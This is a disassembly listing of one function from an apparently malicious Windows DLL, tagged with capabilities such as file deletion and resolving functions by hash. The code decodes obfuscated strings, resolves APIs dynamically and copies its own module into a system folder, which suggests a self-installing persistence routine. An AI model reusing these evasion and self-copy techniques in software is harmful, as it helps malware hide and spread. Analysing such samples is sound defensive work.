Function at 0x10007c91
Capabilities:
Check if file exists
Delete file
Get common file path
Resolve function by hash

Disassembly:
push 0x6e0
mov eax, 0x100490f4
call fcn.1001949d
lea eax, [ebp - 0x6bc]
xor ebx, ebx
push str.njo6d3OTNMPA9hs_OIL_dMPSnMsj9sNr
push eax
mov dword [ebp - 0x6dc], ebx
call fcn.1000e301
mov esi, eax
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x65c]
push str.NHoJxMu2mCgxMur
push eax
call fcn.1000e301
add esp, 0x10
mov byte [ebp - 4], 1
cmp dword [esi + 0x14], 0x10
jb 0x10007cde
mov esi, dword [esi]
cmp dword [eax + 0x14], 0x10
jb 0x10007ce6
mov eax, dword [eax]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x6d8], eax
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x65c]
push ebx
push 1
call fcn.10013419
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6bc]
push ebx
push 1
call fcn.10013419
lea eax, [ebp - 0x68c]
push str.ThsydPY1NIPB937JRqOWNbJ0R3OfO3o4NqO2rr
push eax
call fcn.1000e301
mov esi, eax
mov dword [ebp - 4], 2
lea eax, [ebp - 0x6d4]
push str.OM7b9MP_NvgxMur
push eax
call fcn.1000e301
add esp, 0x10
mov byte [ebp - 4], 3
cmp dword [esi + 0x14], 0x10
jb 0x10007d5a
mov esi, dword [esi]
cmp dword [eax + 0x14], 0x10
jb 0x10007d62
mov eax, dword [eax]
push esi
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x6e0], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x6d4]
push ebx
push 1
call fcn.10013419
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x68c]
push ebx
push 1
call fcn.10013419
push 0xe610cfb8
push 0x6a4abc5b
call fcn.1000d649
mov dword [ebp - 0x6ec], eax
lea eax, [ebp - 0x674]
push str.nMsj9Bd4xMPs5MJ2Q6Y3rr
push eax
call fcn.1000e301
mov esi, eax
mov dword [ebp - 4], 4
lea eax, [ebp - 0x6a4]
push str.NHo_QHsu9ZgxMur
push eax
call fcn.1000e301
add esp, 0x18
mov byte [ebp - 4], 5
cmp dword [esi + 0x14], 0x10
jb 0x10007de6
mov esi, dword [esi]
cmp dword [eax + 0x14], 0x10
jb 0x10007dee
mov eax, dword [eax]
push esi
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x6a4]
push ebx
push 1
call fcn.10013419
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x674]
push ebx
push 1
call fcn.10013419
push 0x4e25680
push 0x6a4abc5b
call fcn.1000d649
mov dword [ebp - 0x6e4], eax
mov esi, 0x206
xor eax, eax
push esi
mov word [ebp - 0x234], ax
lea eax, [ebp - 0x232]
push ebx
push eax
call fcn.10019f50
push 0x25
pop edx
push 0x73
pop ecx
push 0x5c
pop eax
mov word [ebp - 0x28], ax
mov word [ebp - 0x22], ax
xor eax, eax
push esi
mov word [ebp - 0x20], ax
mov word [ebp - 0x14], ax
mov word [ebp - 0x644], ax
lea eax, [ebp - 0x642]
push ebx
push eax
mov word [ebp - 0x2c], dx
mov word [ebp - 0x2a], cx
mov word [ebp - 0x26], dx
mov word [ebp - 0x24], cx
mov word [ebp - 0x1c], dx
mov word [ebp - 0x1a], cx
mov word [ebp - 0x18], dx
mov word [ebp - 0x16], cx
call fcn.10019f50
xor eax, eax
push esi
mov word [ebp - 0x43c], ax
lea eax, [ebp - 0x43a]
push ebx
push eax
call fcn.10019f50
add esp, 0x2c
mov ecx, 0x10070328
call fcn.10015fa1
test eax, eax
je 0x10007ef0
mov edi, ebx
mov ecx, 0x10070328
call fcn.1001541f
push 0x1f4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x10007ef0
mov ecx, edi
inc edi
cmp ecx, 0x3c
jl 0x10007ec8
jmp 0x100081f9
mov edi, ebx
push 1
push 0x1c
lea eax, [ebp - 0x234]
push eax
push ebx
call dword [ebp - 0x6d8]
lea eax, [ebp - 0x674]
push str.01YDTnOZrr
push eax
call fcn.1000e301
pop ecx
pop ecx
mov esi, eax
mov dword [ebp - 4], 6
cmp dword [esi + 0x14], 0x10
jb 0x10007f28
mov esi, dword [esi]
test esi, esi
je 0x10007f4a
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007f31
sub ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x6e8], eax
cmp eax, 0x3fffffff
jle 0x10007f4e
mov eax, ebx
jmp 0x10007f66
add eax, eax
call fcn.1001e950
mov eax, esp
push 3
push dword [ebp - 0x6e8]
push esi
push eax
call fcn.10017f38
push eax
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x234]
push 0x104
push eax
call fcn.10016e25
add esp, 0x14
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x674]
call fcn.10013419
lea ecx, [ebp - 0x234]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x10007fa1
sub ecx, edx
sar ecx, 1
lea esi, [ecx + 1]
cmp esi, 0x3fffffff
jle 0x10007fbf
mov eax, ebx
jmp 0x10007fda
add esi, esi
mov eax, esi
call fcn.1001e950
mov eax, esp
lea ecx, [ebp - 0x234]
push 3
push esi
push ecx
push eax
call fcn.100029cc
push eax
call dword [ebp - 0x6e0]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x10008006
mov eax, edi
inc edi
cmp eax, 0x3c
jl 0x10007ef2
mov esi, 0x1006ca08
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
lea eax, [ebp - 0x234]
mov edi, 0x104
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x234]
push edi
push eax
call fcn.10016e25
add esp, 0x14
lea eax, [ebp - 0x644]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x43c]
push eax
push ebx
push str.ser
lea eax, [ebp - 0x644]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov edi, dword [ebp - 0x6e4]
lea eax, [ebp - 0x43c]
push 3
push eax
lea eax, [ebp - 0x234]
push eax
call edi
test eax, eax
jne 0x100080b6
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x100080b6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x100080b6
push str..dat
push 0x208
lea eax, [ebp - 0x234]
push 0x2e
push eax
call fcn.1001e348
pop ecx
pop ecx
push eax
call fcn.1001dd63
add esp, 0xc
lea eax, [ebp - 0x6dc]
push eax
push 0xffffffffffffffff
call dword [ebp - 0x6ec]
cmp dword [ebp - 0x6dc], 0
je 0x10008171
test edi, edi
je 0x10008121
push esi
lea ecx, [ebp - 0x6d8]
call fcn.10005610
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x6d8]
push 0x1005c4bc
push 0x1005c4c4
call fcn.100097a8
push 3
lea eax, [ebp - 0x234]
push eax
push dword [ebp - 0x6d8]
call edi
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x6d8]
lea ecx, [ecx - 0x10]
call fcn.100180fa
lea ecx, [ebp - 0x234]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x1000812a
sub ecx, edx
sar ecx, 1
lea esi, [ecx + 1]
cmp esi, 0x3fffffff
jg 0x10008161
add esi, esi
mov eax, esi
call fcn.1001e950
mov eax, esp
lea edx, [ebp - 0x234]
push 3
push esi
push edx
push eax
call fcn.100029cc
mov ebx, eax
push ebx
mov ecx, 0x10070328
call fcn.100159c6
jmp 0x100081f9
test edi, edi
je 0x10008181
push 3
lea eax, [ebp - 0x234]
push eax
push esi
call edi
lea ecx, [ebp - 0x234]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x1000818a
sub ecx, edx
sar ecx, 1
lea esi, [ecx + 1]
cmp esi, 0x3fffffff
jle 0x100081a8
mov eax, ebx
jmp 0x100081c3
add esi, esi
mov eax, esi
call fcn.1001e950
mov eax, esp
lea ecx, [ebp - 0x234]
push 3
push esi
push ecx
push eax
call fcn.100029cc
push eax
lea ecx, [ebp - 0x65c]
call fcn.100140ee
mov dword [ebp - 4], 9
lea eax, [ebp - 0x65c]
push eax
mov ecx, 0x10070328
call fcn.10005837
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x65c]
push ebx
push 1
call fcn.10013419
xor eax, eax
inc eax
lea esp, [ebp - 0x6fc]
call fcn.1001945b
ret